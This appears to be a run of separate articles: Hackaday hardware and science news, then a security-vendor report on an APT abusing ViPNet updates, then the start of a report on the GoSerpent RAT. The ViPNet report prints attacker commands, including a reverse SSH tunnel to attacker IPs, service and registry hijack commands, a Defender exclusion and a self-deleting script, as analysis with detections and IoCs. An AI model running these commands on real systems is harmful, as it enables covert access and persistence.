Having the information shown on the display of a digital multimeter also recorded off-screen can be incredibly useful, but unless the device exposes something like SCPI on a network interface, you will have to get creative. In the case of the budget ANENG AN870 digital multimeter (DMM), [Bits und Bolts] really wanted to show its display clearly as an overlay in OBS instead of just the camera view, but with said DMM not offering an easy way he had to resort to just copying the data sent to its multiplexed LCD.

The GitHub project page contains the background information, as well as the instructions if you too have this DMM. It might of course also be useful as the jumping off point for your own DMM modification. In total the project requires three modules: an RP2040 Zero and HC-12 433 MHz transceiver on the DMM side, and another HC-12 plus ESP32-C3 module on the receiving side. A boost module is also added to generate 3.3 V out of the 2.4 V – 3 V provided by the meter’s two AA cells.

To be able to read the LCD signal lines, a custom PCB was created that is installed inside the DMM. With the LCD’s segments mapped, this meant being able to send a perfect copy of the display’s state to the ESP32-C3 and from there making it available via WiFi.

youtube.com/embed/6CL78yID9l0?…

hackaday.com/2026/07/17/wirele…

In 1675, while transporting a barometer by night, the astronomer Jean Picard noticed a glow inside its glass tube, just above the mercury. As the mercury sloshed and splashed across the surface of the glass, a static electric charge had built up, which was discharging by ionizing the residual gas molecules inside the evacuated tube. [Styropyro] recreated this effect, and found that the dim glow could be made much stronger by adding some noble gas to the tube.

It starts with a simple recreation: he took a volumetric flask, attached a narrow glass stem to the mouth, added some mercury to the flask, evacuated it with a vacuum pump, and sealed off the glass stem. This produced a faint glow when shaken, but it was only really visible under very low light. When [Styropyro] brought it near a Tesla coil, however, it did glow much more brightly.

Backfilling an identical flask with neon to about 40 millitorr produced a much more spectacular result (a low pressure in the tube is necessary, but moderate pressure variations don’t significantly alter the effect). When shaken even slightly, this neon-containing flask produced a bright orange-red glow just above the surface of the mercury. Points of obstruction, such as those in a zig-zag tube, produced a brighter glow. A krypton-containing tube glowed blue, but less brightly than the neon tube.

Since this is, essentially, a triboelectric effect, other materials besides mercury should work; [Styropyro] tested several materials, and found that pieces of Teflon produced a faint glow, and copper beads a somewhat brighter glow. Unfortunately, Galinstan, the obvious replacement for mercury, wets and coats glass, preventing a charge buildup.

Without an added noble gas, the standard glow of barometric light comes from the excitation of mercury vapors, a glow which can also be seen in mercury rectifiers, and which excites the phosphors of fluorescent light bulbs.

youtube.com/embed/0Y-9GbsS9Fg?…

Thanks to [Vik Olliver] for the tip!

hackaday.com/2026/07/16/a-slos…

Railroads might be a nineteenth century technology, but they’re still the backbone of cargo transportation in the 21st century. They’ve also far from run out of innovation, including this one which really just sounds like a hack: painting the rails white to beat the heat.

In the old days, when rails were short and riveted together, this might have been unecesssary; all those joints allowed for a lot of flex. But when you have kilometers of continously welded rail, the thermal expansion starts to matter. A lot. Even if the rails haven’t bent and buckled from excess heat, their capacity goes down. Trains must therefore slow way, way down in hot weather, reducing the overall amount of freight the system can handle.

So, how do you cool the million miles of metal that holds a country together? Paint. Simple white paint sprayed on the side of the rails can bring down temperatures 11 °C (20 °F), according to the Union Pacific Railroad, the first to try this in North America. It might not surprise you that this technique is also being rolled out on the other side of the pond during this summer’s European heat waves. Indeed, it was invented there; the Italians have been doing it for many years now.

If you think reducing solar heat with white paint is good, you can do better than that with special formulations that end up cooler than ambient. It passive cooling also comes in fibre form.

hackaday.com/2026/07/16/white-…

[Dr. Gough] bought a generic USB 3.0 hub on an Asian website. Surely, USB 3 is mature enough that even the cheapest hub will have some IC in it that will work well, right? You’d think so, but a little exploratory surgery showed that the only thing about this hub that was USB 3 were the blue port connectors.

We have a few problem USB hubs ourselves, so it might be worth doing this to any you have lying around. The first clue: most of the connectors on the PCB only have four pins. On closer examination, the hub appears to be a USB 3.0 extension cable with a USB 2.0 hub made from two HS8836A chips.

Not only are these USB 2-only, but all the ports on an HS8836A also share the same USB 1.1 bandwidth. Some hubs can provide multiple ports full 1.1 bandwidth, using the higher-speed USB protocol to the PC as a backhaul.

There were quite a few other issues. Missing solder, cables soldered to the board directly, and no bypass capacitors. The per-port switches cut off USB power, but that wouldn’t stop a device with its own power from connecting. The hub has a barrel jack for power, but it would feed back to the PC, which is bad practice at best.

If you use Linux, try lsusb -t and look at the negotiated speed for your hubs. If they aren’t what you expect, it could be a cable issue, or it could just be that you also have a cheap USB hub. Don’t be surprised if your USB 3 hub shows both a USB 3 and a USB 2 hub; that’s common. But if you only see the USB 2 hub, something is amiss, or someone’s lying.

You can learn a lot about USB 3 reading Hackaday.

hackaday.com/2026/07/16/a-usb-…

CD+Graphics was a format that never really caught on. It let music discs pack some graphics, maybe liner notes, and mostly song lyrics into the otherwise empty space on a CD. It was never intended for displaying full-motion video, but that didn’t stop [Adam Gashlin] from getting a Bad Apple, with lyrics, running on any device that will play CD+G.

The main challenge is that CD+G gives you 300 screen commands per second, which is plenty for updating text on the 48×16 blocks as the lyrics scroll by. But if you want to send custom blocks and draw images, that’s 2.5 seconds per screen: a lousy framerate.

[Adam]’s first trick is to drop the resolution way down, which gets him into the 8 FPS range. Only update the blocks that change pushes this up to a respectable 17-20 FPS. But you can see the updates, and that’s distracting. It really needed buffering.

If you don’t know Bad Apple, it’s in black and white. And like many old graphics engines of the day, CD+G uses a dynamic palette of colors. [Adam] uses this to pack four frames into one, switching between them using palette swapping. (Absolutely check out his “rainbow” version of the video to see how the palette-swapping trick works.)

In the end, his demo has audio, triple-buffered video, and lyrics at 16.3 FPS. It’s slower than the fastest video-only version, but it looks so good, and [Adam]’s explanation of all of the graphics tricks he uses to get there is the real star of the show.

If you want to see Bad Apple running on yet more minimal hardware, how about a 16×2 LCD? Or a much more ridiculous implementation? How’s regexes in Vim for absurd? Got any Bad Apple hacks of your own? Let us know in the comments or the tips line. You can never have too many.

hackaday.com/2026/07/16/bad-ap…

Although Einstein’s Theory of Relativity is typically associated with really large and really heavy things like plants in solar systems and big things in universes in general, it turns out that even at an atomic scale its effects can be measured. These are the findings of Brown University scientists, whose measurements on very heavy elements indicate the presence of relativistic bonds.

Unfortunately the paper by [Kirk A. Peterson] et al. in Science is paywalled without a convenient ArXiv version to ogle details beyond the supplemental, but the Brown press release gives quite a few details by itself, including the use of photoelectron spectroscopy to measure the strength of the bonds between the examined nuclei.

The essential summary is that our concept of how triple bonds work may be flawed, with the assumption that there are distinct sigma and pi bonds, the latter being the awkward, weaker ‘side bonds’ where the overlapping atomic orbitals do not directly line up as with a sigma bond. As it turns out, if there’s enough mass involved, relativistic effects smudge both types of bonds together into a hybrid type of bond.

Although the sigma-pi triple bond theory still seems to hold up for lighter atomic nuclei, in the case of the examined bismuth-carbon triple bond, the typical, slightly radioactive bismuth-209 nucleus with atomic number 83 is heavy enough to affect the orbital mechanics and with it the chemical bonds that these produce.

This is an important finding, as it affects our basic understanding of how strong the bonds between certain elements are. Pi bonds are after all significantly weaker than sigma bonds, so a hybrid form would effectively make triple bonds involving a heavier element stronger than one between lighter elements.

hackaday.com/2026/07/16/even-c…

Some breaking news from geostationary orbit, as the National Oceanic and Atmospheric Administration (NOAA) has announced that its newest Geostationary Operational Environmental Satellite (GOES) satellite unexpectedly went offline last night, and as of this morning, remains stuck in safe mode.

Launched in June of 2024, GOES-19 is one of four operational weather satellites that NOAA operates to provide forecast data and severe weather monitoring for the entire Western Hemisphere. The satellite is specifically responsible for covering the continental United States, Central and South America, as well as the Atlantic Ocean. This makes it a particularly critical asset even under normal circumstances, but the fact that it’s gone blind during the Atlantic hurricane season and while smoke from the raging Canadian wildfires is drifting over the Northeast and making the skies over Boston and New York City look like Mars is something of a worst-case scenario.

The good news is that two of the four satellites operate as orbital spares — the satellite that GOES-19 replaced in 2024, GOES-16, is still operational and can stand in as a backup for its coverage area. Obviously, it’s quite a bit older, having launched back in 2016, but it’s of the same design as GOES-19, and in good health, so there should be no degradation of service.

Still, getting GOES-19 back online will be critical for NOAA and the National Weather Service, and we expect they’ll be providing regular updates as the situation develops. Stay tuned.

hackaday.com/2026/07/16/goes-1…

UPD 16.07.2026: Added detection rules and examples using KEDR Expert.
UPD 16.07.2026: Added detection of the malicious campaign in network traffic using Kaspersky Anti Targeted Attack (KATA) with the NDR module.
UPD 16.07.2026: Updated the list of Indicators of Compromise (IoCs) and TTPs.

We discovered a new APT attack using previously unknown tooling, which started at least in May 2026 and remains active at the time of publication. It is notable in that the implants used during it were launched through the ViPNet update system (a software suite for creating secure networks). During our research, we identified attempts of targeted infection of large Russian organizations from the government, energy, transport, education, and logistics sectors, as well as industry. This is not the first time an advanced group has targeted computers connected to ViPNet networks. For example, last year we discovered a complex backdoor mimicking ViPNet updates.

Persistence via the update system

On one of the analyzed systems, we identified a malicious file named wtsapi32.dll in the directory C:\Program Files (x86)\InfoTeCS\VIPNet Update System, which belongs to the ViPNet suite update system. By placing the file in this directory, the attackers implement the DLL Sideloading technique — the ViPNet update system executable file itcsrvup64.exe, which is launched at OS startup, is susceptible to it. Thus, during this attack, the attackers tried to implement persistence on the system through the ViPNet software update component.

HelloInjector — a loader for additional malicious components

The wtsapi32.dll component is a loader, which we named HelloInjector. Its main goal is to inject its code into the svchost.exe process and launch the malicious payload. After launch, the malware checks the process in the context of which it was launched. If the name of the main process is not svchost.exe, the loader starts iterating through all processes running in the operating system. It looks for a process whose name contains the string svchost, and the command line contains the string netsvcs. If such a process is found, the loader injects itself into the target process using the NtWriteVirtualMemory and NtCreateThreadEx functions.

After restarting in the new process, the loader checks the process name again for the presence of the string svchost. Having confirmed the successful check, HelloInjector loads and executes the malicious payload in memory, which is stored in its body in plain text.

HelloProxy — a tool for traffic proxying and launching new malicious payloads

The malicious payload, which we named HelloProxy, is simultaneously a hidden proxy and a loader for the following modules sent by the command server. It works by intercepting the NtDeviceIoControlFile, closesocket, and shutdown functions. Their interception is carried out using the Microsoft Detours library.

The handlers of the closesocket and shutdown functions prevent the premature closing of sockets used for interaction with the C2. In turn, the handler of the NtDeviceIoControlFile function contains the main malicious logic. Its code implements the interception of two IOCTL codes:

• AFD_RECV (0x12017)
• AFD_GET_TDI_HANDLES (0x12037)

These codes are used during socket operations — their interception allows the malware to hinder security solutions operating in user mode for filtering network connections. Kaspersky security solutions detect such activity and prevent infection attempts at all stages.

The AFD_GET_TDI_HANDLES handler is responsible for socket registration, and the AFD_RECV handler initiates the processing of incoming traffic. It is worth noting that every incoming message that triggered the processing of the AFD_RECV code is logged to the file C:\users\public\tesh4RPC.txt in the format:
threadid: <Thread ID> pid=<PID>\r\n
After installing the interceptors, the malware starts listening on ports 5003 and 5060 in anticipation of the first commands from the C2 server. In order to distinguish the command server traffic from the rest of the traffic, the implant implements a handshake process: it sends two bytes 0x0502 through the socket and expects to receive a message containing the string ASDFASFSAFASDF. After the successful completion of the handshake, the processing of incoming commands continues.

Depending on the received command, there are two execution branches:

• 
  
  • Working as a proxy. The malware accepts strings in the following format:
    <ip_addr>:<port>
    Afterwards, it creates new sockets and starts forwarding traffic between them.
  • Working as a loader. The malware accepts an executable file from the command server, after which it loads it into the memory of its own process and launches it in a separate thread.

  
  

During the research, we managed to discover two malicious payloads that were injected into the svchost process, likely as a result of the previously described loader’s operation:

• An implant, which we named HelloExecutor, with the help of which attackers can execute commands on the infected system;
• A module for cleaning ViPNet software log files, which we named HelloCleaner. It allows hiding the attackers’ actions in the system.

We established that the HelloExecutor backdoor was used for reconnaissance in the networks of infected organizations. The following shell commands were executed:
query user
ipconfig /all
ping 8.8.8.8 -n 1
net user /do
net group /do
dir "C:\Program Files (x86)"
dir "C:\Program Files (x86)\infotecs\"
dir "C:\Program Files (x86)\infotecs\ViPNet Administrator"
dir "C:\Program Files (x86)\infotecs\ViPNet Client\Export"
dir "C:\Program Files (x86)\infotecs\ViPNet Client"
dir "С:\ProgramData\Infotecs\ViPNet Administrator\kc\Export\"
dir "$appdata\Infotecs\ViPNet Administrator\kc\Export\ Dst for network <номер сети удален>"
dir c:\users\
[username]query user
dir C:\Users\Public\music
In these commands, the mention of the directory C:\Users\Public\Music is notable. We established that on infected machines, the attackers used this directory when launching an SSH tunnel from the infected infrastructure to the attackers’ command server (5.39.253[.]206). The attackers launched a renamed executable file of the legitimate PuTTY utility (a client for various remote access protocols):
C:\users\public\music\frontpage.exe -C -N -R 8443:[redacted]:5003 sftp@5.39.253[.]206 -P 3522 -pw

[redacted]

HelloBackdoor — a Rust-based backdoor for file system manipulations

In addition to this, a backdoor written in the Rust language, which we named HelloBackdoor, was discovered on one of the infected systems. It accepts connections on port 443, waiting for the string 47c6235b4d2611184 (the second half of the MD5 hash of the string “hello\n“) to activate the backdoor. This backdoor further accepts the following commands:
!upload — upload a file to the infected machine
!down — download a file from the infected machine
!stop — stop the backdoor’s operation. For this, a BAT file is created and executed with the following content:
@echo off
:loop
if exist <selfpath> (
del /F /Q <selfpath>
if exist <selfpath> goto loop
)
sc stop iplircontrol >nul
timeout 5 > nul
sc start iplircontrol > nul
(goto) 2>nul & del /F /Q %0
If the command text did not match the above listed, the command is executed using cmd.exe.

Attribution

During the analysis of one of the wtsapi32.dll file samples, we found an unused string:
GET / HTTP/1.1\r\nHost: news.sina.com\r\nConnection : keep - alive\r\nUpgrade - Insecure - Requests : 1\r\nUser - Agent : Mozilla / 5.0 (Windows NT 10.0; Win64; x64) AppleWebKit / 537.36 (KHTML, like Gecko) Chrome / 145.0.0.0 Safari / 537.36 Edg / 145.0.0.0\r\nAccept : text / html, application / xhtml + xml, application / xml; q = 0.9, image / avif, image / webp, image / apng, */*;q=0.8,application/signed-exchange;v=b3;q=0.7\r\n
It refers to the news portal sina.com, which is popular in China.

In addition, analyzing the strings in the HelloBackdoor backdoor, we established that during compilation, Rust packages (crates) were downloaded from the mirror mirrors.ustc.edu.cn. Most likely, these strings remained in the malicious files unintentionally. However, the probability of using “false flags” implanted by attackers to complicate the attribution process cannot be excluded. At present, we link this campaign to the activities of an unknown Chinese-speaking APT group with a low degree of confidence.

Recommendations

Given that ViPNet software is not the first time being used by advanced attackers to conduct cyberattacks, we recommend paying special attention to the protection of workstations with this software. In particular, network traffic monitoring should be configured on the ports specified in the article for timely detection of signs of compromise.

Countering complex targeted attacks requires a comprehensive approach that combines security technologies operating at various stages of the cyberattack lifecycle. Such a multi-level security model helps not only to detect but also to prevent incidents of this class. This approach is embedded in the architecture of the Kaspersky Symphony line of solutions, designed to protect businesses from APT-level threats, including attacks similar to the one described in this article.

Kaspersky solutions detect this threat using the following verdicts:

• Trojan.Win32.Agentb.ttoe,
• Trojan.Win64.Convagent.gen,
• Trojan.Win64.Agent.smgpqx
• HEUR:Trojan.Win64.DllHijacking.gen

Detection by Kaspersky solutions

Kaspersky security solutions, such as Kaspersky Endpoint Detection and Response Expert, successfully detect malicious activity within the described attacks.

One practical method of detection is monitoring renamed PuTTY/Plink binaries rather than relying on the file name: even if the executable is named frontpage.exe, its PE header, version, strings, and hash match the original Plink, which is confirmed by EDR events. Additionally, it is worth paying attention to the specific command line with which the process was launched. The KEDR Expert solution detects this activity using the using_plink_or_putty_for_port_forwarding rule.

It is also important to monitor Process Injection into svchost.exe originating from the ViPNet update process itcsrvup64.exe, since this component should not legitimately inject code into system processes. Such behavior is a characteristic indicator of HelloInjector activity, which uses a trusted and signed process to mask malicious injection. The KEDR Expert solution detects this activity using the vipnet_load_library_code_injection rule.

Another effective way to detect malicious activity associated with ViPNet is monitoring network traffic. The Kaspersky Anti Targeted Attack (KATA) solution with the NDR module detects this activity using the IDS module and a Suricata rule for the HelloBackdoor backdoor activity.

The rule is implemented based on the first packet expected by the malware. It accepts TCP connections on port 443, expecting to receive the command 47c6235b4d2611184 (part of the MD5 hash of the string “hello\n“), which activates the backdoor.

The Kaspersky Managed Detection and Response service detects this attack using the following indicators:

1. Monitoring the creation of the wtsapi32.dll library in the C:\Program Files (x86)\InfoTeCS\VIPNet Update System directory.
2. Monitoring the launch of unusual processes (not typical for ViPNet, lacking an InfoTeCS signature) by the ViPNet update process ("Itcsrvup64.exe" or "Itcsrvup.exe").
3. Creation of library files (.dll) in a directory associated with ViPNet (by default, ViPNet Update System or VIPNET CLIENT) by ViPNet processes.
4. Atypical activity (file creation/process execution) from an instance of the svchost.exe process.
5. Creation of executable files in directories that are writable by default (%ProgramData%, %TEMP%, %SystemRoot%\Temp, C:\Users\Public, music|pictures|videos|contacts|links|libraries).
6. Monitoring the creation of tunnels using ssh or plink processes (identification is performed based on the original PE file name, not the executable file name); the detection is based on the presence of substrings like port:address:port and their variations in the command line.

Indicators of Compromise

HelloBackdoor
16C211C96735F2FAE9361B89BD7A31BF
1BFE2B9493128574907A8279256A8BCC
f9eed2f0158dc98e7012fb809152209c – #new

HelloBackdoor Droppers:
6001829A128FE264B4403138700C11A8 – infotecs\vipnet client\puh.exe – #new
EE4FF46DDD8489E81447962F927BC3F6 – infotecs\vipnet client\store.exe – #new

Utility for adding exclusions to Windows Defender:
41c938b3cd7e55d4077e34976929b140 — #new

wtsapi32.dll
B103CD21280B4061F88B2BCC51394894
9F5606A0755BC633B9BD7DB6D179C09E
0CFDFFC56F0FA325D0C4D24780B46597

5.39.253[.]206
176.32.34[.]135 – #new
Detected TTPs: — #new
T1569.002 — System Services: Service Execution
– “cmd” /c sc start UrBackupClientBackend

T1016 — System Network Configuration Discovery
– “cmd” /c arp -a
– “cmd” /c routeprint

T1049 — System Network Connections Discovery
– “cmd” /c netstat -ano

T1018 — Remote System Discovery
– “cmd” /c ping mail.ru -n 2

T1082 — System Information Discovery
– `”cmd” /c systeminfo

T1057 — Process Discovery
– “cmd” /c tasklist

T1007 — System Service Discovery
– “cmd” /c sc query UrBackupClientBackend

T1083 — File and Directory Discovery
– “cmd” /c dir temp*.tmp
– “cmd” /c dir $temp\*.tmp
– “cmd” /c dir amgmt*
– “cmd” /c dir $user\desktop\mRemoteNG-Portable-1.76.20.24669
– “cmd” /c dir $public\libraries\
– “cmd” /c dir d:\WindowsImageBackup

T1005 — Data from Local System
– “cmd” /c type $temp\TS_E9E3.tmp
– “cmd” /c type $temp\Acr6F3D.tmp

T1074.001 — Local Data Staging
– “cmd” /c copy appdata\infotecs\*\APN000B.txt $public\libraries\

T1070.004 — Indicator Removal: File Deletion
– “cmd” /c del $windir\amgmt.dll
– “cmd” /c del $public\libraries\APN000B.txt

T1543.003 — Create or Modify System Process: Windows Service
– sc stop AppMgmt
– sc delete AppMgmt
– sc create AppMgmt binpath= “system32\svchost.exe -k netsvcs” type= share start= auto displayname= “Application Management”
– sc description AppMgmt “Processes installation, removal, and enumeration requests for software deployed through Group Policy. If the service is disabled, users will be unable to install, remove, or enumerate software deployed through Group Policy. If this service is disabled, any services that explicitly depend on it will fail to start.”
– sc failure AppMgmt reset= 0 actions= restart/0

T1112 — Modify Registry
– reg add HKLM\SYSTEM\CurrentControlSet\Services\AppMgmt\Parameters /v ServiceDll /t REG_EXPAND_SZ /d $system32$selfname.dll
– reg add HKLM\SYSTEM\CurrentControlSet\Services\AppMgmt\Parameters /v ServiceMain /t REG_SZ /d ServiceMain

T1036 — Masquerading (service, description, and DLL masquerade as the legitimate Application Management)
– “cmd” /c copy $windir\amgmt* $system32\

T1059.003 — Execution of auxiliary scripts
– “cmd” /c $windir\amgmt.bat
– “cmd” /c $windir\insru.cmd

T1105 — Ingress Tool Transfer
– “cmd” /c $programfiles\7-zip\7z.exe x $windir\Irsoisas.zip -o”$windir

T1562.001 — Impair Defenses: Disable or Modify Tools
– “cmd” /c \$windir\puh.exe add $windir\autoit3.exe white

T1059 / T1218 — Proxy execution via AutoIt
– “cmd” /c \$windir\autoit3.exe \$windir\data.dat

T1572 — Protocol Tunneling / T1090 — Proxy / T1021.004 — Remote Services: SSH
– c:\users[username]\libraries\pagent.exe -C -N -R 6443:[redacted] root@176.32.34.135 -P 48022 -pw [redacted]

Even for those of us that are quite technically minded, we spend precious little time thinking about the cables that carry our signals and do all the important work we need them to do on a daily basis. A great deal of theory and engineering goes into making things like telephone lines and HDMI cables work, but we mostly just plug them in and get on with whatever we’re doing.

If this is your experience, you might find the Hackaday Europe talk from [Michael Wiebusch] to be particularly interesting. He dives into transmission line theory from an accessible standpoint, explaining how two disparate signals can go in opposite directions on the very same wire. Then he demonstrates the theory by building a cable modem… well, sort of!

Signal

youtube.com/embed/PdwxXsaaSKM?…

Michael begins his talk by discussing the Telegrapher’s Equation, but only as a fakeout. Given the limited time on offer, he decided a quicker, easier explanation of the physics involved would be more appropriate. Key to this was explaining the difference between cables and transmission lines. To create a true transmission line, by his definition, he explains that there is a necessity to have two conductors that are relatively close together. Such a transmission line is effectively a distributed network of inductances and capacitances all the way down, though often we talk about “lossless” transmission lines for modelling purposes. He also covers the point of coaxial cables, wherein one conductor is wrapped around another to shield a signal from external noise, and to prevent signal from leaking out.
Transmission lines allow signals to pass in opposing directions, much like ripples on a pond will pass through each other, retaining their form. Credit: talk slides
There are several basic facts to remember about transmission lines. They are fundamentally just channels down which EM signals can travel. It’s also good to remember that they delay signals. To a human, the signal may appear to travel instantaneously, but it does take time. This also has other impacts; for example, coax cables are filled with plastic, a material in which the speed of light is roughly 66% of the speed of light in a vacuum.

This slows the rate at which the field of an EM signal can travel to this fundamental limit. [Michael] also notes that transmission lines, as a wave medium, essentially allow waves travelling in different directions to pass each other, much like ripples spreading on the surface of a pond. This is why it’s possible to have bidirectional communication on a single transmission line. It’s also important to terminate a transmission line properly, such that the wave you’re transmitting down it ends where you want it to—at the receiver. Fail to terminate your transmission line, and you’ll have that wave bouncing back and forth which is undesirable for clear transmission.
The coupler allows sending and receiving signals via a single transmission line. Credit: talk slides
[Michael] demonstrates basic transmission line theory by building a sort of cable modem out of an Arduino and some supporting hardware. He notes it’s not really a modem—there is no modulation or demodulation going on. Instead, he’s simply squirting TTL signals into either end of a cable and receiving them on the other end. The “black box” that couples the signals into and out of the transmission line is a simple directional coupler. Built out of resistors and an op-amp, it allows sending a signal down a transmission line, as well as receiving a signal coming the other way. The design works all the way down to DC logic level signals, which let [Michael] use it to send TTL signals up and down 50-ohm and 75-ohm coaxial cables. He notes this has very obvious practical applications where it’s desirable to reduce cable counts when sending signals in multiple directions, relating this directly to his professional work on science experiments.

If you’ve ever wanted to get two devices talking over a single cable in a relatively easy fashion, then [Michael’s] talk may be valuable to you. At the very least, it’s a great way to learn some of the basics of transmission lines and better understand what’s going on when you shoot a signal down a random bit of wire. It’s all good stuff.

hackaday.com/2026/07/16/hackad…

Introduction

In February 2026 we discovered a set of malicious activities that have been ongoing since late 2025. These activities involved a RAT module written in Go with proxy capabilities, serving as the main stage of the attack. The attack targeted government and diplomatic entities in Southeast Asia and showed a level of sophistication which caught our attention.

During the attack, the main malware, dubbed GoSerpent, received an encrypted argument and started communication with a remote server. It was also used to deploy further malicious tools for sensitive data collection and credential dumping on the system.

Monitoring the activities of this threat actor revealed that in May 2026 they came back with an evolved set of malicious tools: new Stowaway RAT and proxy tool which resembled the initial malware as well as an additional stealthy tool to exfiltrate sensitive data collected for the previous few months through network share.

We found earlier versions of the GoSerpent backdoor used since 2021 against victims in Southeast Asia with a relatively simpler code that received command-line arguments in plain text. Even though the newer variant is stealthier, the attackers continued using the simpler version alongside the latest one in their recent attacks.

What makes this threat particularly concerning is the strategic deployment of various tools with sophisticated data collection and exfiltration capabilities.

In this article we introduce the malicious tools uncovered by us which are used since late 2025.

Technical details

Initial phase of the attacks

The initial phase of the attacks involved deployment of the GoSerpent backdoor and subsequent deployment of additional malicious tools. During this phase, the main goal was to collect sensitive files and store them for future exfiltration which was done by a data collecting tool, ThumbcacheService. The attackers also needed system credentials for the collected data exfiltration through network shared drives at a later stage. This was achieved by a number of credential dumping tools deployed in this phase via the GoSerpent backdoor.

GoSerpent backdoor

The primary weapon in this campaign is the GoSerpent backdoor, a sophisticated Go-based remote access Trojan that has been active since at least 2021, with the most recent variant deployed in 2026.

This malware receives encrypted and base64-encoded command-line arguments containing the C2 server address and communication password, which are decrypted using AES-CBC mode with a fixed IV (31323334353637383930616263646566) and keys derived from predefined strings.

The backdoor connects to command-and-control servers using ChaCha20 encryption for communications, with the SHA256 hash of the communication password serving as the encryption key.

GoSerpent supports multiple C2 commands by receiving special command values. The commands include the following:

GoSerpent can establish SOCKS5 proxy servers to route traffic through compromised hosts, enabling attackers to access other networks while masking their true IP addresses. The backdoor is capable of deploying additional malicious tools including ThumbcacheService for file collection, Mimikatz for credential dumping, and QuarksDumpLocalHash for local account password hash extraction. The malware exhibits strong persistence mechanisms and uses filenames that mimic legitimate system processes such as lass.exe and updates.exe to evade detection.

McMx RAT

McMx is a basic Go-based proxy and remote access tool that represents a simpler variant of the GoSerpent backdoor, appearing to be compiled from a different GitHub repository path.

Unlike the latest variant of GoSerpent that uses encrypted command-line arguments, McMx receives input parameters from text files in plain text format, resembling older versions of GoSerpent. The malware features similar function names with apparent typos present in both tools.